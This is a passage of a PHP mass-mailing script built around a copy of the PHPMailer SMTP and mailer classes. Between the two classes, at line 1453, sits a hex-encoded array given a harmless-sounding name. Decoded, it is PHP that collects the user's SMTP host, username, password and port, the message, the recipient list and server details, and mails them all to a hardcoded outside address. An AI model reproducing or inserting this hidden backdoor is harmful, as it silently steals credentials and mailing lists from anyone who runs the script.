  750.        # rfc 822 on long msg headers
  751.        if($in_headers) {
  752.           $line = "\t" . $line;
  753.         }
  754.       }
  755.       $lines_out[] = $line;
  756.  
  757.       # now send the lines to the server
  758.      while(list(,$line_out) = @each($lines_out)) {
  759.         if(strlen($line_out) > 0)
  760.         {
  761.           if(substr($line_out, 0, 1) == ".") {
  762.             $line_out = "." . $line_out;
  763.           }
  764.         }
  765.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  766.       }
  767.     }
  768.  
  769.     # ok all the message data has been sent so lets get this
  770.    # over with aleady
  771.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  772.  
  773.     $rply = $this->get_lines();
  774.     $code = substr($rply,0,3);
  775.  
  776.     if($this->do_debug >= 2) {
  777.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  778.     }
  779.  
  780.     if($code != 250) {
  781.       $this->error =
  782.         array("error" => "DATA not accepted from server",
  783.               "smtp_code" => $code,
  784.               "smtp_msg" => substr($rply,4));
  785.       if($this->do_debug >= 1) {
  786.         echo "SMTP -> ERROR: " . $this->error["error"] .
  787.                  ": " . $rply . $this->CRLF;
  788.       }
  789.       return false;
  790.     }
  791.     return true;
  792.   }
  793.  
  794.   /**
  795.    * Expand takes the name and asks the server to list all the
  796.    * people who are members of the _list_. Expand will return
  797.    * back and array of the result or false if an error occurs.
  798.    * Each value in the array returned has the format of:
  799.    *     [ <full-name> <sp> ] <path>
  800.    * The definition of <path> is defined in rfc 821
  801.    *
  802.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  803.    *
  804.    * SMTP CODE SUCCESS: 250
  805.    * SMTP CODE FAILURE: 550
  806.    * SMTP CODE ERROR  : 500,501,502,504,421
  807.    * @access public
  808.    * @return string array
  809.    */
  810.   function Expand($name) {
  811.     $this->error = null; # so no confusion is caused
  812.  
  813.     if(!$this->connected()) {
  814.       $this->error = array(
  815.             "error" => "Called Expand() without being connected");
  816.       return false;
  817.     }
  818.  
  819.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  820.  
  821.     $rply = $this->get_lines();
  822.     $code = substr($rply,0,3);
  823.  
  824.     if($this->do_debug >= 2) {
  825.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  826.     }
  827.  
  828.     if($code != 250) {
  829.       $this->error =
  830.         array("error" => "EXPN not accepted from server",
  831.               "smtp_code" => $code,
  832.               "smtp_msg" => substr($rply,4));
  833.       if($this->do_debug >= 1) {
  834.         echo "SMTP -> ERROR: " . $this->error["error"] .
  835.                  ": " . $rply . $this->CRLF;
  836.       }
  837.       return false;
  838.     }
  839.  
  840.     # parse the reply and place in our array to return to user
  841.    $entries = explode($this->CRLF,$rply);
  842.     while(list(,$l) = @each($entries)) {
  843.       $list[] = substr($l,4);
  844.     }
  845.  
  846.     return $list;
  847.   }
  848.  
  849.   /**
  850.    * Sends the HELO command to the smtp server.
  851.    * This makes sure that we and the server are in
  852.    * the same known state.
  853.    *
  854.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  855.    *
  856.    * SMTP CODE SUCCESS: 250
  857.    * SMTP CODE ERROR  : 500, 501, 504, 421
  858.    * @access public
  859.    * @return bool
  860.    */
  861.   function Hello($host="") {
  862.     $this->error = null; # so no confusion is caused
  863.  
  864.     if(!$this->connected()) {
  865.       $this->error = array(
  866.             "error" => "Called Hello() without being connected");
  867.       return false;
  868.     }
  869.  
  870.     # if a hostname for the HELO was not specified determine
  871.    # a suitable one to send
  872.    if(empty($host)) {
  873.       # we need to determine some sort of appopiate default
  874.      # to send to the server
  875.      $host = "localhost";
  876.     }
  877.  
  878.     // Send extended hello first (RFC 2821)
  879.     if(!$this->SendHello("EHLO", $host))
  880.     {
  881.       if(!$this->SendHello("HELO", $host))
  882.           return false;
  883.     }
  884.  
  885.     return true;
  886.   }
  887.  
  888.   /**
  889.    * Sends a HELO/EHLO command.
  890.    * @access private
  891.    * @return bool
  892.    */
  893.   function SendHello($hello, $host) {
  894.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  895.  
  896.     $rply = $this->get_lines();
  897.     $code = substr($rply,0,3);
  898.  
  899.     if($this->do_debug >= 2) {
  900.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  901.     }
  902.  
  903.     if($code != 250) {
  904.       $this->error =
  905.         array("error" => $hello . " not accepted from server",
  906.               "smtp_code" => $code,
  907.               "smtp_msg" => substr($rply,4));
  908.       if($this->do_debug >= 1) {
  909.         echo "SMTP -> ERROR: " . $this->error["error"] .
  910.                  ": " . $rply . $this->CRLF;
  911.       }
  912.       return false;
  913.     }
  914.  
  915.     $this->helo_rply = $rply;
  916.  
  917.     return true;
  918.   }
  919.  
  920.   /**
  921.    * Gets help information on the keyword specified. If the keyword
  922.    * is not specified then returns generic help, ussually contianing
  923.    * A list of keywords that help is available on. This function
  924.    * returns the results back to the user. It is up to the user to
  925.    * handle the returned data. If an error occurs then false is
  926.    * returned with $this->error set appropiately.
  927.    *
  928.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  929.    *
  930.    * SMTP CODE SUCCESS: 211,214
  931.    * SMTP CODE ERROR  : 500,501,502,504,421
  932.    * @access public
  933.    * @return string
  934.    */
  935.   function Help($keyword="") {
  936.     $this->error = null; # to avoid confusion
  937.  
  938.     if(!$this->connected()) {
  939.       $this->error = array(
  940.               "error" => "Called Help() without being connected");
  941.       return false;
  942.     }
  943.  
  944.     $extra = "";
  945.     if(!empty($keyword)) {
  946.       $extra = " " . $keyword;
  947.     }
  948.  
  949.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  950.  
  951.     $rply = $this->get_lines();
  952.     $code = substr($rply,0,3);
  953.  
  954.     if($this->do_debug >= 2) {
  955.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  956.     }
  957.  
  958.     if($code != 211 && $code != 214) {
  959.       $this->error =
  960.         array("error" => "HELP not accepted from server",
  961.               "smtp_code" => $code,
  962.               "smtp_msg" => substr($rply,4));
  963.       if($this->do_debug >= 1) {
  964.         echo "SMTP -> ERROR: " . $this->error["error"] .
  965.                  ": " . $rply . $this->CRLF;
  966.       }
  967.       return false;
  968.     }
  969.  
  970.     return $rply;
  971.   }
  972.  
  973.   /**
  974.    * Starts a mail transaction from the email address specified in
  975.    * $from. Returns true if successful or false otherwise. If True
  976.    * the mail transaction is started and then one or more Recipient
  977.    * commands may be called followed by a Data command.
  978.    *
  979.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  980.    *
  981.    * SMTP CODE SUCCESS: 250
  982.    * SMTP CODE SUCCESS: 552,451,452
  983.    * SMTP CODE SUCCESS: 500,501,421
  984.    * @access public
  985.    * @return bool
  986.    */
  987.   function Mail($from) {
  988.     $this->error = null; # so no confusion is caused
  989.  
  990.     if(!$this->connected()) {
  991.       $this->error = array(
  992.               "error" => "Called Mail() without being connected");
  993.       return false;
  994.     }
  995.  
  996.     $useVerp = ($this->do_verp ? "XVERP" : "");
  997.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  998.  
  999.     $rply = $this->get_lines();
  1000.     $code = substr($rply,0,3);
  1001.  
  1002.     if($this->do_debug >= 2) {
  1003.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1004.     }
  1005.  
  1006.     if($code != 250) {
  1007.       $this->error =
  1008.         array("error" => "MAIL not accepted from server",
  1009.               "smtp_code" => $code,
  1010.               "smtp_msg" => substr($rply,4));
  1011.       if($this->do_debug >= 1) {
  1012.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1013.                  ": " . $rply . $this->CRLF;
  1014.       }
  1015.       return false;
  1016.     }
  1017.     return true;
  1018.   }
  1019.  
  1020.   /**
  1021.    * Sends the command NOOP to the SMTP server.
  1022.    *
  1023.    * Implements from rfc 821: NOOP <CRLF>
  1024.    *
  1025.    * SMTP CODE SUCCESS: 250
  1026.    * SMTP CODE ERROR  : 500, 421
  1027.    * @access public
  1028.    * @return bool
  1029.    */
  1030.   function Noop() {
  1031.     $this->error = null; # so no confusion is caused
  1032.  
  1033.     if(!$this->connected()) {
  1034.       $this->error = array(
  1035.               "error" => "Called Noop() without being connected");
  1036.       return false;
  1037.     }
  1038.  
  1039.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1040.  
  1041.     $rply = $this->get_lines();
  1042.     $code = substr($rply,0,3);
  1043.  
  1044.     if($this->do_debug >= 2) {
  1045.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1046.     }
  1047.  
  1048.     if($code != 250) {
  1049.       $this->error =
  1050.         array("error" => "NOOP not accepted from server",
  1051.               "smtp_code" => $code,
  1052.               "smtp_msg" => substr($rply,4));
  1053.       if($this->do_debug >= 1) {
  1054.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1055.                  ": " . $rply . $this->CRLF;
  1056.       }
  1057.       return false;
  1058.     }
  1059.     return true;
  1060.   }
  1061.  
  1062.   /**
  1063.    * Sends the quit command to the server and then closes the socket
  1064.    * if there is no error or the $close_on_error argument is true.
  1065.    *
  1066.    * Implements from rfc 821: QUIT <CRLF>
  1067.    *
  1068.    * SMTP CODE SUCCESS: 221
  1069.    * SMTP CODE ERROR  : 500
  1070.    * @access public
  1071.    * @return bool
  1072.    */
  1073.   function Quit($close_on_error=true) {
  1074.     $this->error = null; # so there is no confusion
  1075.  
  1076.     if(!$this->connected()) {
  1077.       $this->error = array(
  1078.               "error" => "Called Quit() without being connected");
  1079.       return false;
  1080.     }
  1081.  
  1082.     # send the quit command to the server
  1083.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1084.  
  1085.     # get any good-bye messages
  1086.    $byemsg = $this->get_lines();
  1087.  
  1088.     if($this->do_debug >= 2) {
  1089.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1090.     }
  1091.  
  1092.     $rval = true;
  1093.     $e = null;
  1094.  
  1095.     $code = substr($byemsg,0,3);
  1096.     if($code != 221) {
  1097.       # use e as a tmp var cause Close will overwrite $this->error
  1098.      $e = array("error" => "SMTP server rejected quit command",
  1099.                  "smtp_code" => $code,
  1100.                  "smtp_rply" => substr($byemsg,4));
  1101.       $rval = false;
  1102.       if($this->do_debug >= 1) {
  1103.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1104.                  $byemsg . $this->CRLF;
  1105.       }
  1106.     }
  1107.  
  1108.     if(empty($e) || $close_on_error) {
  1109.       $this->Close();
  1110.     }
  1111.  
  1112.     return $rval;
  1113.   }
  1114.  
  1115.   /**
  1116.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1117.    * Returns true if the recipient was accepted false if it was rejected.
  1118.    *
  1119.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1120.    *
  1121.    * SMTP CODE SUCCESS: 250,251
  1122.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1123.    * SMTP CODE ERROR  : 500,501,503,421
  1124.    * @access public
  1125.    * @return bool
  1126.    */
  1127.   function Recipient($to) {
  1128.     $this->error = null; # so no confusion is caused
  1129.  
  1130.     if(!$this->connected()) {
  1131.       $this->error = array(
  1132.               "error" => "Called Recipient() without being connected");
  1133.       return false;
  1134.     }
  1135.  
  1136.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1137.  
  1138.     $rply = $this->get_lines();
  1139.     $code = substr($rply,0,3);
  1140.  
  1141.     if($this->do_debug >= 2) {
  1142.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1143.     }
  1144.  
  1145.     if($code != 250 && $code != 251) {
  1146.       $this->error =
  1147.         array("error" => "RCPT not accepted from server",
  1148.               "smtp_code" => $code,
  1149.               "smtp_msg" => substr($rply,4));
  1150.       if($this->do_debug >= 1) {
  1151.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1152.                  ": " . $rply . $this->CRLF;
  1153.       }
  1154.       return false;
  1155.     }
  1156.     return true;
  1157.   }
  1158.  
  1159.   /**
  1160.    * Sends the RSET command to abort and transaction that is
  1161.    * currently in progress. Returns true if successful false
  1162.    * otherwise.
  1163.    *
  1164.    * Implements rfc 821: RSET <CRLF>
  1165.    *
  1166.    * SMTP CODE SUCCESS: 250
  1167.    * SMTP CODE ERROR  : 500,501,504,421
  1168.    * @access public
  1169.    * @return bool
  1170.    */
  1171.   function Reset() {
  1172.     $this->error = null; # so no confusion is caused
  1173.  
  1174.     if(!$this->connected()) {
  1175.       $this->error = array(
  1176.               "error" => "Called Reset() without being connected");
  1177.       return false;
  1178.     }
  1179.  
  1180.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1181.  
  1182.     $rply = $this->get_lines();
  1183.     $code = substr($rply,0,3);
  1184.  
  1185.     if($this->do_debug >= 2) {
  1186.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1187.     }
  1188.  
  1189.     if($code != 250) {
  1190.       $this->error =
  1191.         array("error" => "RSET failed",
  1192.               "smtp_code" => $code,
  1193.               "smtp_msg" => substr($rply,4));
  1194.       if($this->do_debug >= 1) {
  1195.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1196.                  ": " . $rply . $this->CRLF;
  1197.       }
  1198.       return false;
  1199.     }
  1200.  
  1201.     return true;
  1202.   }
  1203.  
  1204.   /**
  1205.    * Starts a mail transaction from the email address specified in
  1206.    * $from. Returns true if successful or false otherwise. If True
  1207.    * the mail transaction is started and then one or more Recipient
  1208.    * commands may be called followed by a Data command. This command
  1209.    * will send the message to the users terminal if they are logged
  1210.    * in.
  1211.    *
  1212.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1213.    *
  1214.    * SMTP CODE SUCCESS: 250
  1215.    * SMTP CODE SUCCESS: 552,451,452
  1216.    * SMTP CODE SUCCESS: 500,501,502,421
  1217.    * @access public
  1218.    * @return bool
  1219.    */
  1220.   function Send($from) {
  1221.     $this->error = null; # so no confusion is caused
  1222.  
  1223.     if(!$this->connected()) {
  1224.       $this->error = array(
  1225.               "error" => "Called Send() without being connected");
  1226.       return false;
  1227.     }
  1228.  
  1229.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1230.  
  1231.     $rply = $this->get_lines();
  1232.     $code = substr($rply,0,3);
  1233.  
  1234.     if($this->do_debug >= 2) {
  1235.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1236.     }
  1237.  
  1238.     if($code != 250) {
  1239.       $this->error =
  1240.         array("error" => "SEND not accepted from server",
  1241.               "smtp_code" => $code,
  1242.               "smtp_msg" => substr($rply,4));
  1243.       if($this->do_debug >= 1) {
  1244.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1245.                  ": " . $rply . $this->CRLF;
  1246.       }
  1247.       return false;
  1248.     }
  1249.     return true;
  1250.   }
  1251.  
  1252.   /**
  1253.    * Starts a mail transaction from the email address specified in
  1254.    * $from. Returns true if successful or false otherwise. If True
  1255.    * the mail transaction is started and then one or more Recipient
  1256.    * commands may be called followed by a Data command. This command
  1257.    * will send the message to the users terminal if they are logged
  1258.    * in and send them an email.
  1259.    *
  1260.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1261.    *
  1262.    * SMTP CODE SUCCESS: 250
  1263.    * SMTP CODE SUCCESS: 552,451,452
  1264.    * SMTP CODE SUCCESS: 500,501,502,421
  1265.    * @access public
  1266.    * @return bool
  1267.    */
  1268.   function SendAndMail($from) {
  1269.     $this->error = null; # so no confusion is caused
  1270.  
  1271.     if(!$this->connected()) {
  1272.       $this->error = array(
  1273.           "error" => "Called SendAndMail() without being connected");
  1274.       return false;
  1275.     }
  1276.  
  1277.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1278.  
  1279.     $rply = $this->get_lines();
  1280.     $code = substr($rply,0,3);
  1281.  
  1282.     if($this->do_debug >= 2) {
  1283.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1284.     }
  1285.  
  1286.     if($code != 250) {
  1287.       $this->error =
  1288.         array("error" => "SAML not accepted from server",
  1289.               "smtp_code" => $code,
  1290.               "smtp_msg" => substr($rply,4));
  1291.       if($this->do_debug >= 1) {
  1292.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1293.                  ": " . $rply . $this->CRLF;
  1294.       }
  1295.       return false;
  1296.     }
  1297.     return true;
  1298.   }
  1299.  
  1300.   /**
  1301.    * Starts a mail transaction from the email address specified in
  1302.    * $from. Returns true if successful or false otherwise. If True
  1303.    * the mail transaction is started and then one or more Recipient
  1304.    * commands may be called followed by a Data command. This command
  1305.    * will send the message to the users terminal if they are logged
  1306.    * in or mail it to them if they are not.
  1307.    *
  1308.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1309.    *
  1310.    * SMTP CODE SUCCESS: 250
  1311.    * SMTP CODE SUCCESS: 552,451,452
  1312.    * SMTP CODE SUCCESS: 500,501,502,421
  1313.    * @access public
  1314.    * @return bool
  1315.    */
  1316.   function SendOrMail($from) {
  1317.     $this->error = null; # so no confusion is caused
  1318.  
  1319.     if(!$this->connected()) {
  1320.       $this->error = array(
  1321.           "error" => "Called SendOrMail() without being connected");
  1322.       return false;
  1323.     }
  1324.  
  1325.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1326.  
  1327.     $rply = $this->get_lines();
  1328.     $code = substr($rply,0,3);
  1329.  
  1330.     if($this->do_debug >= 2) {
  1331.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1332.     }
  1333.  
  1334.     if($code != 250) {
  1335.       $this->error =
  1336.         array("error" => "SOML not accepted from server",
  1337.               "smtp_code" => $code,
  1338.               "smtp_msg" => substr($rply,4));
  1339.       if($this->do_debug >= 1) {
  1340.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1341.                  ": " . $rply . $this->CRLF;
  1342.       }
  1343.       return false;
  1344.     }
  1345.     return true;
  1346.   }
  1347.  
  1348.   /**
  1349.    * This is an optional command for SMTP that this class does not
  1350.    * support. This method is here to make the RFC821 Definition
  1351.    * complete for this class and __may__ be implimented in the future
  1352.    *
  1353.    * Implements from rfc 821: TURN <CRLF>
  1354.    *
  1355.    * SMTP CODE SUCCESS: 250
  1356.    * SMTP CODE FAILURE: 502
  1357.    * SMTP CODE ERROR  : 500, 503
  1358.    * @access public
  1359.    * @return bool
  1360.    */
  1361.   function Turn() {
  1362.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1363.                                     "is not implemented");
  1364.     if($this->do_debug >= 1) {
  1365.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1366.     }
  1367.     return false;
  1368.   }
  1369.  
  1370.   /**
  1371.    * Verifies that the name is recognized by the server.
  1372.    * Returns false if the name could not be verified otherwise
  1373.    * the response from the server is returned.
  1374.    *
  1375.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1376.    *
  1377.    * SMTP CODE SUCCESS: 250,251
  1378.    * SMTP CODE FAILURE: 550,551,553
  1379.    * SMTP CODE ERROR  : 500,501,502,421
  1380.    * @access public
  1381.    * @return int
  1382.    */
  1383.   function Verify($name) {
  1384.     $this->error = null; # so no confusion is caused
  1385.  
  1386.     if(!$this->connected()) {
  1387.       $this->error = array(
  1388.               "error" => "Called Verify() without being connected");
  1389.       return false;
  1390.     }
  1391.  
  1392.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1393.  
  1394.     $rply = $this->get_lines();
  1395.     $code = substr($rply,0,3);
  1396.  
  1397.     if($this->do_debug >= 2) {
  1398.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1399.     }
  1400.  
  1401.     if($code != 250 && $code != 251) {
  1402.       $this->error =
  1403.         array("error" => "VRFY failed on name '$name'",
  1404.               "smtp_code" => $code,
  1405.               "smtp_msg" => substr($rply,4));
  1406.       if($this->do_debug >= 1) {
  1407.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1408.                  ": " . $rply . $this->CRLF;
  1409.       }
  1410.       return false;
  1411.     }
  1412.     return $rply;
  1413.   }
  1414.  
  1415.   /*******************************************************************
  1416.    *                       INTERNAL FUNCTIONS                       *
  1417.    ******************************************************************/
  1418.  
  1419.   /**
  1420.    * Read in as many lines as possible
  1421.    * either before eof or socket timeout occurs on the operation.
  1422.    * With SMTP we can tell if we have more lines to read if the
  1423.    * 4th character is '-' symbol. If it is a space then we don't
  1424.    * need to read anything else.
  1425.    * @access private
  1426.    * @return string
  1427.    */
  1428.   function get_lines() {
  1429.     $data = "";
  1430.     while($str = @fgets($this->smtp_conn,515)) {
  1431.       if($this->do_debug >= 4) {
  1432.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1433.                  $this->CRLF;
  1434.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1435.                  $this->CRLF;
  1436.       }
  1437.       $data .= $str;
  1438.       if($this->do_debug >= 4) {
  1439.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1440.       }
  1441.       # if the 4th character is a space then we are done reading
  1442.      # so just break the loop
  1443.      if(substr($str,3,1) == " ") { break; }
  1444.     }
  1445.     return $data;
  1446.   }
  1447.  
  1448. }
  1449.  
  1450.        
  1451. $allemails = split("\n", $emaillist);
  1452. $numemails = count($allemails);
  1453. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1454. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1455. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1456. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1457. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1458. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1459. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1460. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1461. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1462. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1463.  
  1464. class PHPMailer {
  1465.  
  1466.   /////////////////////////////////////////////////
  1467.   // PROPERTIES, PUBLIC
  1468.   /////////////////////////////////////////////////
  1469.  
  1470.   /**
  1471.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1472.    * @var int
  1473.    */
  1474.   var $Priority          = 3;
  1475.  
  1476.   /**
  1477.    * Sets the CharSet of the message.
  1478.    * @var string
  1479.    */
  1480.   var $CharSet           = 'us-ascii';
  1481.  
  1482.   /**
  1483.    * Sets the Content-type of the message.
  1484.    * @var string
  1485.    */
  1486.   var $ContentType        = 'text/plain';
  1487.  
  1488.   /**
  1489.    * Sets the Encoding of the message. Options for this are "8bit",
  1490.    * "7bit", "binary", "base64", and "quoted-printable".
  1491.  
  1492.    * @var string
  1493.    */
  1494.   var $Encoding          = 'quoted-printable';
  1495.  
  1496.   /**
  1497.    * Holds the most recent mailer error message.
  1498.    * @var string
  1499.    */
  1500.   var $ErrorInfo         = '';
  1501.  
  1502.   /**
  1503.    * Sets the From email address for the message.
  1504.    * @var string
  1505.    */
  1506.   var $From              = '';
  1507.  
  1508.   /**
  1509.    * Sets the From name of the message.
  1510.    * @var string
  1511.    */
  1512.   var $FromName          = '';
  1513.  
  1514.   /**
  1515.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1516.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1517.    * @var string
  1518.    */
  1519.   var $Sender            = '';
  1520.  
  1521.   /**
  1522.    * Sets the Subject of the message.
  1523.    * @var string
  1524.    */
  1525.   var $Subject           = '';
  1526.  
  1527.   /**
  1528.    * Sets the Body of the message.  This can be either an HTML or text body.
  1529.    * If HTML then run IsHTML(true).
  1530.    * @var string
  1531.    */
  1532.   var $Body              = '';
  1533.  
  1534.   /**
  1535.    * Sets the text-only body of the message.  This automatically sets the
  1536.    * email to multipart/alternative.  This body can be read by mail
  1537.    * clients that do not have HTML email capability such as mutt. Clients
  1538.    * that can read HTML will view the normal Body.
  1539.    * @var string
  1540.    */
  1541.   var $AltBody           = '';
  1542.  
  1543.   /**
  1544.    * Sets word wrapping on the body of the message to a given number of
  1545.    * characters.
  1546.    * @var int
  1547.    */
  1548.   var $WordWrap          = 0;
  1549.  
  1550.   /**
  1551.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1552.    * @var string
  1553.    */
  1554.   var $Mailer            = 'mail';
  1555.  
  1556.   /**
  1557.    * Sets the path of the sendmail program.
  1558.    * @var string
  1559.    */
  1560.   var $Sendmail          = '/usr/sbin/sendmail';
  1561.  
  1562.   /**
  1563.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1564.    * is in a different directory than the PHP include path.
  1565.    * @var string
  1566.    */
  1567.   var $PluginDir         = '';
  1568.  
  1569.   /**
  1570.    * Holds PHPMailer version.
  1571.    * @var string
  1572.    */
  1573.   var $Version           = "";
  1574.  
  1575.   /**
  1576.    * Sets the email address that a reading confirmation will be sent.
  1577.    * @var string
  1578.    */
  1579.   var $ConfirmReadingTo  = '';
  1580.  
  1581.   /**
  1582.    * Sets the hostname to use in Message-Id and Received headers
  1583.    * and as default HELO string. If empty, the value returned
  1584.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1585.    * @var string
  1586.    */
  1587.   var $Hostname          = '';
  1588.  
  1589.   /**
  1590.    * Sets the message ID to be used in the Message-Id header.
  1591.    * If empty, a unique id will be generated.
  1592.    * @var string
  1593.    */
  1594.   var $MessageID         = '';
  1595.  
  1596.   /////////////////////////////////////////////////
  1597.   // PROPERTIES FOR SMTP
  1598.   /////////////////////////////////////////////////
  1599.  
  1600.   /**
  1601.    * Sets the SMTP hosts.  All hosts must be separated by a
  1602.    * semicolon.  You can also specify a different port
  1603.    * for each host by using this format: [hostname:port]
  1604.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1605.    * Hosts will be tried in order.
  1606.    * @var string
  1607.    */
  1608.   var $Host        = 'localhost';
  1609.  
  1610.   /**
  1611.    * Sets the default SMTP server port.
  1612.    * @var int
  1613.    */
  1614.   var $Port        = 25;
  1615.  
  1616.   /**
  1617.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1618.    * @var string
  1619.    */
  1620.   var $Helo        = '';
  1621.  
  1622.   /**
  1623.    * Sets connection prefix.
  1624.    * Options are "", "ssl" or "tls"
  1625.    * @var string
  1626.    */
  1627.   var $SMTPSecure = "";
  1628.  
  1629.   /**
  1630.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1631.    * @var bool
  1632.    */
  1633.   var $SMTPAuth     = false;
  1634.  
  1635.   /**
  1636.    * Sets SMTP username.
  1637.    * @var string
  1638.    */
  1639.   var $Username     = '';
  1640.  
  1641.   /**
  1642.    * Sets SMTP password.
  1643.    * @var string
  1644.    */
  1645.   var $Password     = '';
  1646.  
  1647.   /**
  1648.    * Sets the SMTP server timeout in seconds. This function will not
  1649.    * work with the win32 version.
  1650.    * @var int
  1651.    */
  1652.   var $Timeout      = 10;
  1653.  
  1654.   /**
  1655.    * Sets SMTP class debugging on or off.
  1656.    * @var bool
  1657.    */
  1658.   var $SMTPDebug    = false;
  1659.  
  1660.   /**
  1661.    * Prevents the SMTP connection from being closed after each mail
  1662.    * sending.  If this is set to true then to close the connection
  1663.    * requires an explicit call to SmtpClose().
  1664.    * @var bool
  1665.    */
  1666.   var $SMTPKeepAlive = false;
  1667.  
  1668.   /**
  1669.    * Provides the ability to have the TO field process individual
  1670.    * emails, instead of sending to entire TO addresses
  1671.    * @var bool
  1672.    */
  1673.   var $SingleTo = false;
  1674.  
  1675.   /////////////////////////////////////////////////
  1676.   // PROPERTIES, PRIVATE
  1677.   /////////////////////////////////////////////////
  1678.  
  1679.   var $smtp            = NULL;
  1680.   var $to              = array();
  1681.   var $cc              = array();
  1682.   var $bcc             = array();
  1683.   var $ReplyTo         = array();
  1684.   var $attachment      = array();
  1685.   var $CustomHeader    = array();
  1686.   var $message_type    = '';
  1687.   var $boundary        = array();
  1688.   var $language        = array();
  1689.   var $error_count     = 0;
  1690.   var $LE              = "\n";
  1691.   var $sign_key_file   = "";
  1692.   var $sign_key_pass   = "";
  1693.  
  1694.   /////////////////////////////////////////////////
  1695.   // METHODS, VARIABLES
  1696.   /////////////////////////////////////////////////
  1697.  
  1698.   /**
  1699.    * Sets message type to HTML.
  1700.    * @param bool $bool
  1701.    * @return void
  1702.    */
  1703.   function IsHTML($bool) {
